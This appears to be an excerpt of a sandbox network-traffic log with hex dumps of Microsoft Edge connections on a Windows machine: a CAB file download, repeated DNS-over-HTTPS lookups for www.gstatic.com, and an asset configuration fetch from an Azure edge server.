2024-09-01 00:48:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 5fa63fea-6d92-4f76-a460-bafc7492b98d MS-RequestId: 2d4df235-e335-42df-ac87-df8ed9ad2727 MS-CV: zUtAEOkVlkmpZG6h.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 01 Sep 2024 00:48:17 GMT Connection: close Content-Length: 24490
2024-09-01 00:48:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-09-01 00:48:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49769	162.159.61.3	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 00:48:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 00:48:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 00:48:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc1410f4e5243fe-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 00:48:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 db 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49770	172.64.41.3	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 00:48:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 00:48:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 00:48:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc1410f4b727cb1-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 00:48:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1f 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49768	172.64.41.3	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 00:48:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 00:48:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 00:48:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc1410f4f8f43f1-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 00:48:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f6 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49766	172.64.41.3	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 00:48:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 00:48:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 00:48:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc1410f5fc443d7-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 00:48:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 15 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49767	162.159.61.3	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 00:48:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 00:48:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 00:48:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc1410f4d31c35b-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 00:48:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e4 00 04 8e fb 23 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49774	172.64.41.3	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 00:48:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 00:48:21 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 00:48:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc141130f278c60-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 00:48:21 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 29 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49776	172.64.41.3	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 00:48:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 00:48:21 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 00:48:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc141130ed28c6b-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 00:48:21 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 10 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49775	13.107.246.73	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:21 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-09-01 00:48:21 UTC	583	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 00:48:21 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 02 Aug 2024 18:10:35 GMT ETag: 0x8DCB31E67C22927 x-ms-request-id: 66f87118-601e-001a-2116-f94768000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240901T004821Z-16579567576xfl5xzh7yws029s00000005p0000000008kwr Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-09-01 00:48:21 UTC	15801	IN	Data Raw: 1f 8b 08 08 1a 21 ad 66 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: !fasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-09-01 00:48:21 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-09-01 00:48:21 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-09-01 00:48:21 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
